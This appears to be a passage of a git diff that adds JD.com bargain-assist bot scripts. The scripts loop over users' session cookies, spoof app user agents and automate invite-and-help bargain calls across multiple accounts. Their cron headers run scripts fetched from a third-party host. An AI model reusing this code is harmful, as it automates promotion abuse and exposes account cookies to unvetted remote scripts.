Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_kanjia.js b/backUp/jd_kanjia.js new file mode 100644 index 0000000..1484aa6 --- /dev/null +++ b/backUp/jd_kanjia.js @@ -0,0 +1,303 @@ +/* +#柠檬是兄弟就砍我 +#自定义邀请码环境变量 +export actId="" ##你要参加砍价的商品ID +export packetId="" ##你要参加砍价的邀请码 +[task_local] +#柠檬是兄弟就砍我 + 0 0 * * * http://nm66.top/jd_kanjia.js, tag=柠檬是兄弟就砍我, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +*/ + + +const $ = new Env('柠檬是兄弟就砍我'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let actId = ''; //你要参加砍价的商品ID +let packetId = '';//你要参加砍价的邀请码 +//c50d6379ad3b4782bfc05940e358ace3 +//ac4a4b0b300e4fc6a2fdb88412f51e94-amRfTFBtdnNBVGdyQ0t1 +if (process.env.actId) { + actId = process.env.actId; +} + +if (process.env.packetId) { + packetId = process.env.packetId; +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await list() + + await $.wait(10000) + + await kanjia() + + + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function list() { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com`, + + body: `functionId=HomeZeroBuy&body={"pageNum":1,"channel":"speed_app"}&appid=megatron&client=megatron&clientVersion=1.0.0`, +headers: { +"Origin": "https://mfn.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Cookie": cookie, + } + } + + $.post(options, async (err, resp, data) => { + try { + + data = JSON.parse(data); + + + + if(data.code == 0){ +console.log("商品:"+data.data[0].goodsName+"\n商品ID:"+data.data[0].actId) +await listyqm(data.data[0].actId) +console.log("\n商品:"+data.data[1].goodsName+"\n商品ID:"+data.data[1].actId) +await listyqm(data.data[1].actId) +console.log("\n商品:"+data.data[2].goodsName+"\n商品ID:"+data.data[2].actId) +await listyqm(data.data[2].actId) +console.log("\n商品:"+data.data[3].goodsName+"\n商品ID:"+data.data[3].actId) +await listyqm(data.data[3].actId) +console.log("\n商品:"+data.data[4].goodsName+"\n商品ID:"+data.data[4].actId) +await listyqm(data.data[4].actId) + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function listyqm(actIda) { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com`, + + body: `functionId=initiateBargain&body={"actId":"${actIda}","headPortrait":"","nick":"","channel":"speed_app"}&appid=megatron&client=megatron&clientVersion=1.0.0`, +headers: { +"Origin": "https://mfn.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Cookie": cookie, + } + } + + $.post(options, async (err, resp, data) => { + try { + + data = JSON.parse(data); + + + + if(data.code == 0){ + + console.log('\n当前商品邀请码:'+data.data.packetId+"\n当前初始化砍价:"+data.data.amount) + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function kanjia() { + return new Promise(async (resolve) => { + + let options = { + url: `https://api.m.jd.com`, + + body: `functionId=helpBargain&body={"actId":"${actId}","packetId":"${packetId}","headPortrait":"","nick":"","attent":true,"channel":"speed_app"}&appid=megatron&client=megatron&clientVersion=1.0.0`, +headers: { +"Origin": "https://mfn.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;iPhone;3.3.6;14.3;75aeceef3046d8ce11d354ff89af9517a2e4aa18;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/;hasOCPay/0;appBuild/1060;supportBestPay/0;pv/56.42;apprpd/;ref/JDLTSubMainPageViewController;psq/38;ads/;psn/75aeceef3046d8ce11d354ff89af9517a2e4aa18|99;jdv/0|kong|t_1001003207_1762319_6901310|jingfen|30578707801140d09fcd54e5cd83bbf7|1621510932517|1621511027;adk/;app_device/IOS;pap/JA2020_3112531|3.3.6|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Cookie": cookie, + } + } + + $.post(options, async (err, resp, data) => { + try { + + data = JSON.parse(data); + + + + if(data.code == 0){ + + console.log('\n已帮砍:'+data.msg) + + }else + console.log('\n已帮砍:'+data.msg) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + + + + + + + + + + + + + + + + + + + +async function taskPostUrl(functionId,body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + + +async function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_kanjia2.js b/backUp/jd_kanjia2.js new file mode 100644 index 0000000..9125a17 --- /dev/null +++ b/backUp/jd_kanjia2.js @@ -0,0 +1,526 @@ +/* +#柠檬是兄弟就砍我2 +##惊喜欢乐砍 自定义变量 入口惊喜APP我的 惊喜欢乐砍 +export launchid="ba3b268758521b2a48ce7ed61b82ff7a" ##你的邀请码 +export first="false" ##第一次参加变量设置为true查看商品ID 填写商品ID后自动获取邀请码邀请 如果只助力 变量设置为false +export active="" ##商品ID + +[task_local] +#柠檬是兄弟就砍我2 +0 5 * * * http://nm66.top/jd_kanjia2.js, tag=柠檬是兄弟就砍我2, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +*/ +const $ = new Env('柠檬是兄弟就砍我2'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = '', + message; +let active = ''; +let launchid = ''; +let first = ''; //第一次参加变量设置为true查看商品ID 填写商品ID后自动获取邀请码邀请 如果只助力 变量设置为false + +if (process.env.active) { + active = process.env.active; +} + +if (process.env.first) { + first = process.env.first; +} +if (process.env.launchid) { + launchid = process.env.launchid; +} + + + + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + + if (first == true) { + await info() + await checkaddress() + await join() + await help() + + } else + + + await help() + + + + } + } +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +function info() { + return new Promise(async(resolve) => { + + let options = { + url: 